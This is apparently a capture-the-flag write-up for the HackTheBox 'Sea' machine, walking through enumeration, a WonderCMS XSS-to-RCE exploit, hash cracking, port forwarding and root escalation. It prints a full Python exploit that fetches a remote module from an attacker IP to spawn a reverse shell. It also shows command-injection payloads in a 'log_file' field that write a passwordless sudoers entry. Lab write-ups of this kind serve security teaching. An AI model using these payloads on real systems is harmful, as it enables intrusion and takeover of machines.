# HackTheBox - Sea writeup

{% embed url="<https://buymeacoffee.com/suhaib518>" %}

<figure><img src="https://883595979-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FalebWzIylDzIeYyDtGf4%2Fuploads%2FlORuJF1oAVSSLDwJaagZ%2FSea.png?alt=media&#x26;token=d9f354f6-a731-4a96-a620-25c8f4b0ffb3" alt=""><figcaption></figcaption></figure>

## First view/look

We can do a Nmap scan on the target to see which ports are open to get the first look

```bash
nmap -sCV $box
```

<figure><img src="https://883595979-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FalebWzIylDzIeYyDtGf4%2Fuploads%2Fm39oZ6kHnPNXEsfJSkau%2FScreenshot%202025-01-22%20070411.png?alt=media&#x26;token=7a43d06a-0c73-4568-aaff-1462fc33e616" alt=""><figcaption></figcaption></figure>

We can know now that we have two ports open\
1\. SSH - OpenSSH 8.2p1\
2\. HTTP - Apache httpd 2.4.41\
\
looks like any Linux machine, you  need to exploit the site you can see on http then authenticate to ssh to get a user flag then continue to privilage escalation.

## First look for the site

Note: you should add  \[box\_ip    sea.htb] to your /etc/hosts file

<figure><img src="https://883595979-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FalebWzIylDzIeYyDtGf4%2Fuploads%2F5j813xvxi9a5qQVdw8Bz%2Fimage.png?alt=media&#x26;token=c3ff0484-68b0-498c-b5c7-beb5332ca027" alt=""><figcaption></figcaption></figure>

We can see here that we got this page, but when clicking contact it showing us a page has a contact form, but nothing interested we can get there.

<figure><img src="https://883595979-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FalebWzIylDzIeYyDtGf4%2Fuploads%2FMbxvlo0cwWbomfAseEwT%2Fimage.png?alt=media&#x26;token=c9928dd8-3d43-4ca8-90c7-69211ffc4d65" alt=""><figcaption></figcaption></figure>

So we managed to enumerate the site to see if we can get an interesting pages there\
We can use gobuster or feroxbuster to enumerate, but I prefer feroxbuster\
You can install it from <https://github.com/epi052/feroxbuster>

```
feroxbuster -u http://sea.htb -w /usr/share/wordlists/dirb/big.txt
```

<figure><img src="https://883595979-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FalebWzIylDzIeYyDtGf4%2Fuploads%2FxMD9m1LwVrUibjRR2xWx%2Fimage.png?alt=media&#x26;token=60c2ec52-6cd1-4153-a54b-b3703d909a15" alt=""><figcaption></figcaption></figure>

We can see now that we have some interesting things like /themes/bike/version for example

If we visit that page we can see the version but not the service used unfortunately.

<figure><img src="https://883595979-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FalebWzIylDzIeYyDtGf4%2Fuploads%2FW7vdCxDAtYZPpYU2TU5N%2Fimage.png?alt=media&#x26;token=9d9380c1-d56f-42e3-98b8-febbf97d88aa" alt=""><figcaption></figcaption></figure>

if we tried different wordlist, we can get an interesting file

<figure><img src="https://883595979-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FalebWzIylDzIeYyDtGf4%2Fuploads%2FKO2JuANPhIQAG37Cmsg5%2Fimage.png?alt=media&#x26;token=c37abd12-b844-406a-93b4-4b44b4d198c5" alt=""><figcaption></figcaption></figure>

We can see README.md contents to know what is the service used there

```sh
┌──🮤 CHANGE ME🮥─🮤 192.168.xx.xxx🮥─🮤 10.10.xx.xx🮥
├──🮤  ~/feroxbuster🮥                                                                                                       
└─   curl sea.htb/themes/bike/README.md                                                                         [ 3:20PM ] 
# WonderCMS bike theme

## Description
Includes animations.

## Author: turboblack

## Preview
![Theme preview](/preview.jpg)

## How to use
1. Login to your WonderCMS website.
2. Click "Settings" and click "Themes".
3. Find theme in the list and click "install".
4. In the "General" tab, select theme to activate it.

```

Now we know that the service is WonderCMS v3.2.0

First thing we should take care about is the PoCs we can get after we knew the service

<https://gist.github.com/prodigiousMind/fc69a79629c4ba9ee88a7ad526043413>

{% embed url="<https://gist.github.com/prodigiousMind/fc69a79629c4ba9ee88a7ad526043413>" %}

We can use this exploit to get a reverse shell as www-data

<figure><img src="https://883595979-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FalebWzIylDzIeYyDtGf4%2Fuploads%2FRYnTLV2KwcG0FzLgFeZ5%2Fimage.png?alt=media&#x26;token=da6641fd-2104-4907-818c-3329a38fe4f8" alt=""><figcaption></figcaption></figure>

Now we can get back to the Contact form and paste this to the admin as the exploit says:

<figure><img src="https://883595979-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FalebWzIylDzIeYyDtGf4%2Fuploads%2FJCl57nDKUDsxDrRE6ze2%2Fimage.png?alt=media&#x26;token=01083aa3-f231-4356-9dda-a5e261580837" alt=""><figcaption></figcaption></figure>

Edited the code to solve the problem with `urlWithoutLogBase` Variable Problem:<br>

```python
# Exploit: WonderCMS XSS to RCE
import sys
import requests
import os
import bs4

if (len(sys.argv)<4): print("usage: python3 exploit.py loginURL IP_Address Port\nexample: python3 exploit.py http://localhost/wondercms/loginURL 192.168.29.165 5252")
else:
  data = '''
var url = "'''+str(sys.argv[1])+'''";
if (url.endsWith("/")) {
 url = url.slice(0, -1);
}
var urlWithoutLog = url.split("/").slice(0, -1).join("/");
var urlWithoutLogBase = new URL(urlWithoutLog).hostname; 
var token = document.querySelectorAll('[name="token"]')[0].value;
var urlRev = urlWithoutLogBase+"/?installModule=http://10.10.14.99:8000/main.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
 if (xhr3.status == 200) {
   var xhr4 = new XMLHttpRequest();
   xhr4.withCredentials = true;
   xhr4.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php");
   xhr4.send();
   xhr4.onload = function() {
     if (xhr4.status == 200) {
       var ip = "'''+str(sys.argv[2])+'''";
       var port = "'''+str(sys.argv[3])+'''";
       var xhr5 = new XMLHttpRequest();
       xhr5.withCredentials = true;
       xhr5.open("GET", urlWithoutLogBase+"/themes/revshell-main/rev.php?lhost=" + ip + "&lport=" + port);
       xhr5.send();
       
     }
   };
 }
};
'''
  try:
    open("xss.js","w").write(data)
    print("[+] xss.js is created")
    print("[+] execute the below command in another terminal\n\n----------------------------\nnc -lvp "+str(sys.argv[3]))
    print("----------------------------\n")
    XSSlink = str(sys.argv[1]).replace("loginURL","index.php?page=loginURL?")+"\"></form><script+src=\"http://"+str(sys.argv[2])+":8000/xss.js\"></script><form+action=\""
    XSSlink = XSSlink.strip(" ")
    print("send the below link to admin:\n\n----------------------------\n"+XSSlink)
    print("----------------------------\n")

    print("\nstarting HTTP server to allow the access to xss.js")
    os.system("python3 -m http.server\n")
  except: print(data,"\n","//write this to a file")
```

<figure><img src="https://883595979-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FalebWzIylDzIeYyDtGf4%2Fuploads%2FMMXSvjeH4MxtttrZ6UNq%2Fimage.png?alt=media&#x26;token=3b32af1b-1ef7-4372-a7c5-977aa50241ab" alt=""><figcaption></figcaption></figure>

We got the shell successfully!, but make sure to visit `http://sea.htb/themes/bike/revshell-main/rev.php?lhost=YOUR_IP&lport=YOUR_LISTENING_PORT` , because we installed main.zip file to our own, so if you unzipped the file you will see a directory called `revshell_main`  and a rev.php file inside, so this is why we need to visit the imported Module there to execute our reverse shell!

## Foothold - User flag

Now we have a shell as www-data, first thing to come in mind is to visit /var/www/sea to see if there is any configuration file can give us sensitive information to move one step further, and maybe a password!

<figure><img src="https://883595979-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FalebWzIylDzIeYyDtGf4%2Fuploads%2FYzb2lK4RhsRQzkzXi2p8%2Fimage.png?alt=media&#x26;token=c2ce87b3-fbb9-4e37-957d-3266387d0124" alt=""><figcaption></figcaption></figure>

We found a database.js file inside data directory, So we can see if there is any user information there or important information.

<figure><img src="https://883595979-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FalebWzIylDzIeYyDtGf4%2Fuploads%2F8dMGyQFYQcdOCtWtCklA%2Famay_password.png?alt=media&#x26;token=b48b5537-7f69-48fd-af05-b83acac6e558" alt=""><figcaption></figcaption></figure>

We got a password, we need to crack it but we don't know for which user is this, So we can see /etc/passwd for any users there we can see to know if we cracked the password which user to authenticate to ssh by.

<figure><img src="https://883595979-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FalebWzIylDzIeYyDtGf4%2Fuploads%2FeT8CCGsitkgTo28K8kwa%2Fetc_passwd.png?alt=media&#x26;token=b9b822a5-aedd-468a-abbf-e756974346e8" alt=""><figcaption></figcaption></figure>

We can see just amay here, so the password is the amay password.

— Cracking the password using hashcat:

```bash
hashcat -m 3200 amay_hash.txt /usr/share/wordlists/rockyou.txt
```

<figure><img src="https://883595979-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FalebWzIylDzIeYyDtGf4%2Fuploads%2FOGxTva7YV6XSVj3tnGQl%2Famay_password_hidden_a_bit.png?alt=media&#x26;token=9244d722-311f-48c9-ac9d-6fd8c54b814c" alt=""><figcaption></figcaption></figure>

We can now authenticate via ssh by amay

— Authentiacating via SSH:

```bash
ssh amay@sea.htb
```

<figure><img src="https://883595979-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FalebWzIylDzIeYyDtGf4%2Fuploads%2FjFq4BiSsEeinOeyikRNh%2Fimage.png?alt=media&#x26;token=cf521b33-6144-4c32-8af6-9cf036e10e7a" alt=""><figcaption></figcaption></figure>

## Privilage Escalation

As we can't run sudo on amay, we should check running ports by running `ssh -tuln` to see which running ports are available to forwarded it to privilage escalate!

```bash
ss -tuln
```

<figure><img src="https://883595979-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FalebWzIylDzIeYyDtGf4%2Fuploads%2FpnJgkHdQlOU1iTqa3WGF%2Fimage.png?alt=media&#x26;token=d5378e58-b83e-4113-8730-d15812cf4d9c" alt=""><figcaption></figcaption></figure>

We can see 8080 port is running, so we should port forward it to see what interesting things we can see there.

— Port forwarding command:

```bash
ssh amay@sea.htb -L 8080:127.0.0.1:8080
```

Now we should visit `http://localhost:8080`in our local machine to see what is running on this port

First, you will get an alert ask you for the username and the password, you can use the same as SSH.

Then, we can get this page:

<figure><img src="https://883595979-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FalebWzIylDzIeYyDtGf4%2Fuploads%2FE72V1ZuKa2lagn3Oh9Rv%2Fimage.png?alt=media&#x26;token=5dc1ebbb-8812-4e18-9109-44738fad413d" alt=""><figcaption></figcaption></figure>

We can see a log file and an Analyze button, we can get suspicious logs.

&#x20;

<figure><img src="https://883595979-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FalebWzIylDzIeYyDtGf4%2Fuploads%2FthXJj63iWxsMlxLCfUo8%2Fimage.png?alt=media&#x26;token=5c35bfcc-11f6-4176-9606-79f21fc77484" alt=""><figcaption></figcaption></figure>

Our SSH session detected as suspicious pattern.

First thing to come here in mind, that maybe there is LFI here??

We can use Burp suite change requests to see if the site is vulnerable to LFI or even RFI?

<figure><img src="https://883595979-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FalebWzIylDzIeYyDtGf4%2Fuploads%2FvVrox2saqnwaMqL6ZNAy%2Fimage.png?alt=media&#x26;token=27aa5d0a-c626-48d3-84bd-838cc8aaa231" alt=""><figcaption></figcaption></figure>

Looks like it's vulnerable to LFI, ammmm, we can now try if it's vulnerable also to RFI or ...?

As we used `log_file=%2Fetc%2Fpasswd` which means `/etc/passwd`, we can now try `log_file=%2Fetc%2Fpasswd+%26%26+id+#` &#x20;

<figure><img src="https://883595979-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FalebWzIylDzIeYyDtGf4%2Fuploads%2FBuIfiLjG6fBF8RnxT23d%2Fimage.png?alt=media&#x26;token=dfa7af36-4b34-4713-a59d-b86abe8d2021" alt=""><figcaption></figcaption></figure>

Ohh, it's really vulnerable to RFI!!

As we can execute commands as root, We can now add amay to sudeors with full permission to gain full access to root!

— Adding Amay to sudeors with Full Permission:

```
log_file=/etc/passwd+%26%26+echo+"amay+ALL=(ALL)+NOPASSWD:+ALL"+>+/etc/sudoers.d/amay+#
```

<figure><img src="https://883595979-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FalebWzIylDzIeYyDtGf4%2Fuploads%2FDHjrzGepX6mRyjEy69mY%2Fimage.png?alt=media&#x26;token=ac62a539-95e1-41dd-958f-9bda1afe91b4" alt=""><figcaption></figcaption></figure>

We can now in our SSH session executing `sudo -l` to check if we are now in sudeors files or not, then `sudo -s` to get into root!

<figure><img src="https://883595979-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FalebWzIylDzIeYyDtGf4%2Fuploads%2Fmfw85Qg39HPSM4rdV1zH%2Fimage.png?alt=media&#x26;token=bec3ca36-73eb-4f1a-95bf-c1b4f0636019" alt=""><figcaption></figcaption></figure>

Sea Machine Pwned!!

{% embed url="<https://www.hackthebox.com/achievement/machine/638958/620>" %}

<figure><img src="https://883595979-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FalebWzIylDzIeYyDtGf4%2Fuploads%2FvEFRYYo8cDDjRS65OuYx%2Fimage.png?alt=media&#x26;token=286b58ff-bf7d-41d6-9ca2-2699b5a51f5f" alt=""><figcaption></figcaption></figure>

You can support me if you liked the content, thank you!!

{% embed url="<https://buymeacoffee.com/suhaib518>" %}
